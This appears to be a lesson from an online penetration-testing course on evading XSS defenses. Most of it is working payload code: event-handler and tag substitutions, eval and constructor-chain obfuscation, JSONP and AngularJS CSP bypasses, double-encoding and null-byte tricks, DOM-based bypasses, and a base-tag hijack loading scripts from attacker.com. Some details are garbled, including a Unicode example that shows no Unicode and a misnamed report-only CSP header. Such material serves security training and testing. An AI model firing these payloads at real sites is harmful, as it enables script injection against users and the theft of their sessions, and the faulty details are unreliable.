With a solid payload toolkit from the previous lesson, we now face the reality of modern web applications: filters, Web Application Firewalls (WAFs), and input validation mechanisms designed to block XSS. This lesson teaches you the techniques to analyze, understand, and bypass these defenses systematically.
Filter evasion is a cat-and-mouse game. Defenders implement filters, attackers find bypasses, defenders update filters, and the cycle continues. Understanding the principles behind filter design is more valuable than memorizing specific bypasses.
Before bypassing filters, you need to understand what you are dealing with. Filters operate at different layers and use different strategies.
| Filter Type | Location | Detection Method | Bypass Difficulty |
|---|---|---|---|
| Blacklist | Server-side code | Blocks specific strings (script, alert, onerror) | Easy to Medium |
| Regex Filter | Server-side code | Pattern matching (e.g., no <script.*>) | Medium |
| WAF (ModSecurity, Cloudflare) | Network/Edge | Signature-based + heuristic | Medium to Hard |
| CSP (Content Security Policy) | HTTP Header | Restricts script sources and inline execution | Hard |
| Browser XSS Auditor | Browser | Pattern matching in request/response | Medium (deprecated in Chrome) |
| Framework Encoding | Server-side template | Automatic HTML entity encoding | Hard |
Blacklist filters block specific strings or patterns. They are the most common and easiest to bypass because it is impossible to anticipate every possible payload variation.
<!-- Common blacklist: blocks 'script' (case-insensitive) -->
<!-- Bypass 1: Use alternative tags -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<!-- Common blacklist: blocks 'script' and event handlers -->
<!-- Bypass 2: Use JavaScript URI (in href/src contexts) -->
<a href="javascript:alert(1)">Click</a>
<iframe src="javascript:alert(1)"></iframe>
<!-- Common blacklist: blocks angle brackets -->
<!-- Bypass 3: Inject into existing attributes -->
<input value="" onfocus="alert(1)" autofocus="">
<div style="' onmouseover='alert(1)' width:100%">
<!-- Common blacklist: blocks specific keywords -->
<!-- Bypass 4: Case variation and encoding -->
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</scr</script>ipt>
<script>alert(1)</script>Web Application Firewalls use signature-based detection combined with heuristic analysis. They are more sophisticated than simple blacklists but still have weaknesses.
// Technique 1: Break signatures with unusual whitespace
// Many WAFs do not normalize whitespace before pattern matching
<img src=x onerror=alert(1)> // tab character
<img\nsrc=x\nonerror=alert(1)> // newline character
// Technique 2: Use JavaScript string manipulation
// Instead of: <script>alert(1)</script>
<script>eval('al'+'ert(1)')</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
<script>window['al'+'ert'](1)</script>
// Technique 3: Use alternative execution methods
<script>top['alert'](1)</script>
<script>self['alert'](1)</script>
<script>parent['alert'](1)</script>
<script>(1,alert)(1)</script>
// Technique 4: Template literals (ES6)
<script>alert`1`</script>
<script>eval`alert(1)`</script>
// Technique 5: Use constructor chains
<script>constructor.constructor('alert(1)')()</script>
<script>[]['constructor']['constructor']('alert(1)')()</script>💡 WAFs often have different parsing rules than browsers. A payload that the WAF does not recognize as malicious might still be parsed correctly by the browser. This parsing differential is the key to many WAF bypasses.
Content Security Policy is one of the most effective XSS defenses. It works through an HTTP header that restricts which scripts can execute. However, misconfigured CSP policies can often be bypassed.
// CSP Bypass Technique 1: JSONP endpoint whitelist abuse
// If CSP includes a domain that hosts JSONP endpoints:
// CSP: script-src 'self' https://accounts.google.com
// Google JSONP endpoint that can be abused:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>
// CSP Bypass Technique 2: 'unsafe-inline' with nonce prediction
// If nonce is predictable or reused:
// CSP: script-src 'nonce-abc123'
<script nonce="abc123">alert(1)</script>
// CSP Bypass Technique 3: AngularJS bypass with 'unsafe-eval'
// CSP: script-src 'unsafe-eval' (allows AngularJS exploitation)
<div ng-app ng-csp>
{{$on.constructor('alert(1)')()}}
</div>
// CSP Bypass Technique 4: Base tag hijacking
// If 'self' is allowed and you can inject a <base> tag:
<base href="https://attacker.com/">
<!-- Now relative script loads point to attacker server -->
<script src="/legitimate-script.js"></script>
<!-- Loads from https://attacker.com/legitimate-script.js -->Before attempting to bypass CSP, you need to analyze the policy to find weaknesses. Here is a systematic approach:
# Step 1: Examine the CSP header
curl -sI https://target.com | grep -i content-security-policy
# Example output:
# Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com 'unsafe-inline'; style-src 'self' 'unsafe-inline'
# Step 2: Analyze for weaknesses
# - 'unsafe-inline' in script-src? -> Direct XSS possible
# - 'unsafe-eval' in script-src? -> AngularJS/eval-based bypasses
# - Wildcard domains? -> Find JSONP on those domains
# - Missing object-src? -> Can inject <object> or <embed> tags
# - Missing base-uri? -> <base> tag hijacking
# Step 3: Use CSP Evaluator to analyze
# https://csp-evaluator.withgoogle.com/
# Paste the CSP header and review the findings
# Step 4: Check for report-only mode
# Content-Security-Policy-Only: ...
# If in report-only mode, CSP is NOT enforced (just logging)Some filters decode input once before checking, but the application decodes it again before rendering. This creates a parsing differential that can be exploited.
<!-- Double URL encoding -->
<!-- Filter sees: %3Cscript%3E (decodes to <script>) -> BLOCKED -->
<!-- But if filter does not decode at all: -->
%253Cscript%253Ealert(1)%253C%253Escript%253E
<!-- Server decodes once: %3Cscript%3Ealert(1)%3C/script%3E -->
<!-- Browser decodes again: <script>alert(1)</script> -->
<!-- Unicode normalization bypass -->
<!-- Some filters do not recognize Unicode equivalents -->
<script>alert(1)</script>
<!-- \u0069 is 'i', so browser sees <script> -->
<!-- Null byte injection (older systems) -->
<scr%00ipt>alert(1)</scr%00ipt>
<!-- Filter sees null byte and stops parsing -->
<!-- Browser ignores null byte and parses <script> -->
<!-- Mixed encoding -->
<scri%70t>alert(1)</scri%70t>
<!-- %70 decodes to 'p', filter may not catch mixed encoding -->DOM-based XSS has unique bypass opportunities because the payload may never reach server-side filters. The browser processes the URL fragment, and client-side JavaScript may have its own (often weaker) filtering.
// Client-side filter that blocks 'script' in hash:
var hash = location.hash.slice(1);
if (hash.indexOf('script') === -1) {
document.getElementById('output').innerHTML = hash;
}
// Bypass: Use alternative tags
// #<img src=x onerror=alert(1)>
// Bypass: Use case variation
// #<SCRIPT>alert(1)</SCRIPT>
// indexOf is case-sensitive!
// Bypass: Split the keyword
// #<scr<script>ipt>alert(1)</script>
// indexOf finds 'script' in the nested version
// But after innerHTML assignment, browser parses it as <script>
// Bypass: Use location.hash vs location.href
// Some filters check location.search but not location.hash
// #<img src=x onerror=alert(1)>
// The hash is never sent to the server⚠️ Always document the specific filter configuration and bypass technique in your penetration test report. This information is critical for the development team to implement a proper fix rather than just adding your specific payload to their blacklist.
Several tools can automate the process of generating bypass payloads. These are useful for initial testing but should be supplemented with manual analysis.
💡 Automated tools are a starting point, not a replacement for manual testing. Many WAF bypasses require understanding the specific filter logic and crafting custom payloads. The best approach is to use tools for initial reconnaissance and then manually refine your payloads.
You now have the skills to bypass common XSS defenses. In the next lesson, we will explore the real-world impact of XSS exploitation — how attackers chain XSS with other techniques to achieve full system compromise, and what this means for your penetration testing engagements.
Verify exercises to earn ★ 200 XP and unlock next lab level.